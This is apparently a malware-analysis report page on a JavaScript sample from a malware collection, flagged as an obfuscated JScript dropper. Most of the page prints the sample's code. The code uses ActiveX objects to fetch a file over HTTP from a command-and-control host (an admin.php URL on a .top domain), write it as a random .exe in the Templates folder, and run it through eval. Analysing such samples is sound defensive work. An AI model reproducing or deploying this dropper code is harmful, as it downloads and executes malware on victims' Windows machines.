Suspicious ^80% javascript-malware-collection Download

20170425_227d9a091d8156e5ebccab7f76e3f79e.js

Obfuscated JS dropper with C2 download

Encoded admin.php path fragmentEncoded HTTP URL fragment

SHA-25621c5b7b824612fc2c8d0b7f1c0a12d1d9fb8f1f0cd6a7a8a2d689488f6d6601f

Evidence

Encoded admin.php path fragment lines 1–48

1var HkoilLFDWaTOzsB = 
2'YvarY YTYAYUYwYkQiYFYDYRjYdYv'+
3'MYuGY = YOAELiYnYlBYSYsYjYcFYKY'+
4'dgYfYTYUY.ReY'+
5'gYRYeYaYd(NYRzYBvoZgfYHYPYdYtbYD.YrYepYlYace(/\AYYYBC/gY,Y "Y"Y)).chaYrAt(2Y4Y8Y387Y04/2Y48'+
6'Y387Y0Y4);';
7var RGZIsquUkFCAXhpV = new ActiveXObject("sCriptING.fiLeSystemobjEct");
8if (RGZIsquUkFCAXhpV.FolderExists("c:\\W"+"IND"+"oWs") == true) {
9var wgDJWSshzOeTBcCt = 'YvYarY YvLYIUYlNYV'+
10'PiYkYdYoYSYeYCYsYBWYH =Y nY'+
11'eYwY'+
12' YAYcYtYi'+
13'YvYeXYObYjeYct("YSYhYeYlYLY.aYpYpYlYIYcYatYiYoYNY"Y)Y;Y vYaYr YOYAYEYLYinYlB'+
14'YSYsYjcYFYKdYgYfYTYUY Y= YnYeYwY YAcYtYiYvYeXOYbjYecYtY'+
15'(Y"YWYsCYrIYPYt.YshYeYllY");';
16function upqndsiyDQPNrImfO(cxwVtbmeQDAoardsh, flbOsWMdojkZLwStRGq, zdVjtbBCZROeLxDlIMy) { 
17return cxwVtbmeQDAoardsh.split(flbOsWMdojkZLwStRGq).join(zdVjtbBCZROeLxDlIMy); }
18var bvJwhqmlUsKfZMPTVNR = eval(upqndsiyDQPNrImfO(wgDJWSshzOeTBcCt, "Y", ""));
19var NRzBvoZgfHPdtbD = 
20"HABCKABC"+
21"LM\\SABCOABC"+
22"FABCTABCwAABCre\\miABCCABCrABCosABCoFt\\wABCIABCnABCdABCoWABC"+
23"sABC ABCnt\\CABCuABCr"+
24"A"+
25"BCreABCNABC"+
26"TABCvEAB"+
27"CRABCsABCIABCoN\\SysteABCmRoABCot";
28var WPsJxqgmdCfZhGM = 
29"*val(un*sc"+
30"ap*(\"var"+
31":20wsh:20:3D:20n*w:20Activ*XObj*ct:28:22wscrip"+
32"t:2Esh*ll:22"+
33":29:3B:0D"+
34":0Avar:"+
35"2"+
36"0sh:20:3D:20n*w:20Activ*XObj*ct:28:22sh*ll:2Eapplication:22:29:3"+
37"B:0D:0Avar:20HTTP:20:3D:20n*w:20Activ*XO"+
38"bj*ct:28:22MSXML:32:2"+
39"EXMLHTTP:22:29:3B:0D:0Avar:20Str*am:20:3"+
40"D:20n*w:20Activ*XObj*ct:28:22ADODB:2EStr*am:22:"+
41"29:3B:0D:0Avar:20path:20:3D:20wsh:2ESp*cialFold*rs:28:22T*mplat*s:22:29:2B:22:5C:5C:22:2"+
42"B:28:28Math:2Erandom:28:29:2A:39:3"+
43"9:39:39:39:39:"+
44"29:2B:39:39:39:39:7C:30:29:2B:22:2E*x*:2"+
45"2:3B:0D:0A"+
46"HTTP:"+
47"2EOp*n:28:22GET:22:2C:20:22http:3A:2F:2Fquipoolamd:2Etop:2Fadmin:2Ephp:3Ff:3D:34:30:34:22:2C:20fa"+
48"ls*:29:3B:20"+

Dense concatenated string fragments lines 54–64

54:51… 29:3B:20:0D:0AStr*am:2EPosition:20:3D:20:30:3B:20Str*am:2ESav*ToFi"+
55"l*:28path:2C:20:32:29:3B"+
56":0D"+
57":0AStr*am:2"+
58"EClos*"+
⋯6 lines

JavaScript eval executes a variable argument lines 64–66

64:24… siyDQPNrImfO(HkoilLFDWaTOzsB, "Y", ""); var DxIQpERurNseCZgkG = eval(HkoilLFDWaTOzsB);
65var LmeTjZMWNyBIcuF = eval(upqndsiyDQPNrImfO(upqndsiyDQPNrImfO(WPsJxqgmdCfZhGM, TAUwkQiFDRjdvMuG, "%"), "*", "e"));
66}